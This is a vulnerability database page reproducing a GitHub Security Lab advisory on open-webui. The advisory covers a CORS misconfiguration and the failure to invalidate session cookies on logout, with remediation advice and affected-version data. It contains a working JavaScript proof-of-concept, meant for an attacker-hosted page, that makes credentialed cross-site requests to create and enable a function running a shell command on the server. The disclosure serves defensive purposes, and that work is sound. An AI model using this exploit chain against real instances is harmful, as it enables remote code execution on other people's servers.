Hoch

Open WebUI has a CORS misconfiguration and session validation issue

  • Veröffentlicht: 11.05.2026
  • Aktualisiert: 11.10.2026 14:18

GitHub Security Lab (GHSL) Vulnerability Report, open-webui: GHSL-2024-174, GHSL-2024-175

The GitHub Security Lab team has identified potential security vulnerabilities in open-webui.

We are committed to working with you to help resolve these issues. In this report you will find everything you need to effectively coordinate a resolution of these issues with the GHSL team.

If at any point you have concerns or questions about this process, please do not hesitate to reach out to us at securitylab@github.com (please include GHSL-2024-174 or GHSL-2024-175 as a reference). See also this blog post written by GitHub's Advisory Curation team which explains what CVEs and advisories are, why they are important to track vulnerabilities and keep downstream users informed, the CVE assigning process, and how they are used to keep open source software secure.

If you are NOT the correct point of contact for this report, please let us know!

Summary

Due to a CORS misconfiguration and session validation issue, an attacker may be able to perform a 1 click attack against browsers with admin access to openwebui, resulting in remote code execution in the openwebui instance. The openwebui application runs as root in Docker container's default setup, which allows for complete compromise of the container.

Project

open-webui

Tested Version

v0.3.10

Details

Issue 1: CORS misconfiguration on multiple routers (GHSL-2024-174)

CORS misconfigurations exist on multiple routers of open-webui which results in allowing arbitrary websites to make authenticated cross site requests to openwebui. Accounts with access to the /api/v1/functions endpoint (admins) can execute arbitrary code on the openwebui instance.

The following pattern occurs at the following routers:

  1. backend/apps/webui/main.py
  2. backend/apps/audio/main.py
  3. backend/apps/images/main.py
  4. backend/apps/rag/main.py
  5. backend/apps/openai/main.py
  6. backend/apps/ollama/main.py
  7. backend/main.py
python
app.add_middleware(
    CORSMiddleware,
    allow_origins=["*"],
    allow_credentials=True,
    allow_methods=["*"],
    allow_headers=["*"],
)
Impact

This issue may lead to Remote Code Execution.

Remediation

The FastAPI CORS middleware is not safe by default, meaning it reflects the origin when specifying allow_origins=["*"]. Remove the vulnerable, broad origin and allow users to dynamically setup the exact allowed origins via the administration panel or config file, do not allow for broad origins such as "*" or "*.com"

Proof of Concept

Host the following code on your website, attacker.com. Open the webpage using Firefox, and click on the webpage as instructed. Check your openwebui host to see the result of the command whoami placed into a newly created file /tmp/whoami.txt. Ensure you have logged into an admin open-webui account

js
<body>
    <p>Click here to login.</p>
    <div id="response"></div>
 
    <script>
      //Firefox cross site cookie request bypass
      const url = 'http://localhost:3000/static/favicon.png';
      document.addEventListener("DOMContentLoaded", () => {
        document.onclick = () => {
          open(url);
          filter_id = "okok"
//Create a function/filter to write code
fetch('http://localhost:3000/api/v1/functions/create', {
  method: 'POST',
  headers: {
    'Content-Type': 'application/json'
  },
  body: JSON.stringify({
    "id": filter_id,
    "name": "test2",
    "meta": {"description": "test2"},
    "content": "from pydantic import BaseModel, Field\nfrom typing import Optional\n\n\nclass Filter:\n    class Valves(BaseModel):\n        priority: int = Field(\n            default=0, description=\"Priority level for the filter operations.\"\n        )\n        max_turns: int = Field(\n            default=8, description=\"Maximum allowable conversation turns for a user.\"\n        )\n        pass\n\n    class UserValves(BaseModel):\n        max_turns: int = Field(\n            default=4, description=\"Maximum allowable conversation turns for a user.\"\n        )\n        pass\n\n    def __init__(self):\n        # Indicates custom file handling logic. This flag helps disengage default routines in favor of custom\n        # implementations, informing the WebUI to defer file-related operations to designated methods within this class.\n        # Alternatively, you can remove the files directly from the body in from the inlet hook\n        # self.file_handler = True\n\n        # Initialize 'valves' with specific configurations. Using 'Valves' instance helps encapsulate settings,\n        # which ensures settings are managed cohesively and not confused with operational flags like 'file_handler'.\n        self.valves = self.Valves()\n        f = open(\"/tmp/whoami.txt\", \"w\")\n        import subprocess\n\n        output = subprocess.getoutput(\"whoami\")\n        f.write(output)\n        f.close()\n        pass\n\n    def inlet(self, body: dict, __user__: Optional[dict] = None) -> dict:\n        return body\n\n    def outlet(self, body: dict, __user__: Optional[dict] = None) -> dict:\n        return body\n"
  }),
  credentials: 'include' // This will send cookies from the origin
})
.then(response => response.json())
.then(data => console.log(data))
.catch((error) => console.error('Error:', error)); 


//Toggle the filter to execute code
fetch(`http://localhost:3000/api/v1/functions/id/${filter_id}/toggle`, {
  method: 'POST',
  credentials: 'include' // This will send cookies from the origin
})
.then(response => response.json())
.then(data => console.log(data))
.catch((error) => console.error('Error:', error)); 
        }
      });
    </script>
  </body>

Issue 2: Failure to Invalidate Session on Logout (GHSL-2024-175)

Openwebui fails to invalidate and clear session cookies after logout. In fact, it seems to reuse the same session cookies. This allows an attacker who has access to previous session cookie details to login at a later point as long as the victim has not closed their browser.

This vulnerability is relevant to the above CORS issue because it no longer requires the user to be logged in to exploit. If the cookie had been properly invalidated/cleared, the CORS issue would only affect logged in users.

Impact

This issue may increase the impact of primitives gained from other security issues.

Remediation

For every session, new cookies should be generated. When a user logouts, the session cookies from the previous session should be invalidated and removed from the browser's storage.

Resources

OWASP Recommendation On Sessions

GitHub Security Advisories

We recommend you create a private GitHub Security Advisory for these findings. This also allows you to invite the GHSL team to collaborate and further discuss these findings in private before they are published.

Credit

These issues were discovered and reported by GHSL team member @Kwstubbs (Kevin Stubbings).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2024-174 or GHSL-2024-175 in any communication regarding these issues.

Disclosure Policy

This report is subject to a 90-day disclosure deadline, as described in more detail in our coordinated disclosure policy.

Betroffene Software

Klicken Sie auf eine Technologie, um alle zugehörigen Schwachstellen anzuzeigen.

PlattformPaketAnfällige VersionenBehoben in
Python (PyPI) open-webui < 0.3.33 0.3.33

Verweise

CVSS-Wert 8.3/10
CVSS-Vektor
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:H/A:H
Schwäche (CWE)
CWE-613
Plattform
Python (PyPI)
Paket
open-webui
Veröffentlicht
11.05.2026
Aktualisiert
11.10.2026 14:18

Quellen und Lizenzen

OSV / GitHub Advisory Database - GHSA-6xcp-7mpr-m7wm - CC BY 4.0

Schwachstellenhistorie: open-webui

Alle veröffentlichten Schwachstellen dieses Pakets (Python (PyPI)), neueste zuerst. Zeigt, ob es ein einmaliger Ausrutscher ist oder ein Paket, das man im Auge behalten muss.

Alle (161) im Archiv
Einträge insgesamt
161
Erste → letzte
08.2024 09.2026
Ohne Fix
11
In Angriffen ausgenutzt
0

Verteilung nach Schweregrad

  • Kritisch 1
  • Hoch 77
  • Mittel 75
  • Niedrig 8

Veröffentlichungen pro Jahr

  1. 2024: 3
  2. 2025: 21
  3. 2026: 137
Schweregrad:
  1. Hoch · 7.7 CVE-2026-59221 >= 0.9.6, < 0.10.0 0.10.0
  2. Hoch · 7.3 CVE-2026-59214 < 0.10.0 0.10.0
  3. Hoch · 8.7 CVE-2026-54011 < 0.9.6 0.9.6
  4. Hoch · 7.1 CVE-2026-45349 < 0.9.0 0.9.0
  5. Hoch · 7.7 CVE-2026-45303 < 0.6.5 0.6.5
  6. Hoch · 7.1 CVE-2026-44569 < 0.6.19 0.6.19
  7. Hoch · 8.1 CVE-2026-44565 < 0.6.10 0.6.10
  8. Open WebUI has a CORS misconfiguration and session validation issue dieser Eintrag
    Hoch · 8.3 CVE-2026-56400 < 0.3.33 0.3.33
  9. Hoch · 7.3 CVE-2026-44566 < 0.1.124 0.1.124
  10. Hoch · 7.3 CVE-2026-44567 < 0.1.124 0.1.124
  11. Hoch · 7.3 CVE-2026-44549 < 0.8.0 0.8.0
  12. Kritisch · 9.1 CVE-2026-44551 < 0.9.0 0.9.0
  13. Hoch · 7.3 CVE-2026-44721 < 0.9.0 0.9.0
Mehr anzeigen (18) 60 von 78 angezeigt

Erkennen Sie Schwachstellen in Ihrer Anwendung

Mit der DockRay-Integration und aktivierter Softwareinventarisierung prüft DockRay gemeldete Komponentenversionen auf bekannte Schwachstellen und benachrichtigt Sie über bestätigte Treffer. Die Abdeckung hängt von der unterstützten Technologie und den verfügbaren Meldungen ab.

Anwendung verbinden
DockRay Newsletter

Anwendungssicherheit in Ihrem Postfach

Wichtige Schwachstellen, konkrete Empfehlungen und praktische Tipps für Ihre Anwendungen. Wählen Sie Ihre Technologien und verfolgen Sie, was für Ihr Projekt relevant ist.

  • Eine tägliche Zusammenfassung neuer Schwachstellen, auch kritischer.
  • Benachrichtigungen über wichtige Updates.
  • Praktische Tipps zur Sicherheit und Überwachung von Anwendungen.

Leer lassen, um Meldungen zu allen Technologien zu erhalten.

Kostenlos anmelden. In jeder E-Mail mit einem Klick abmelden.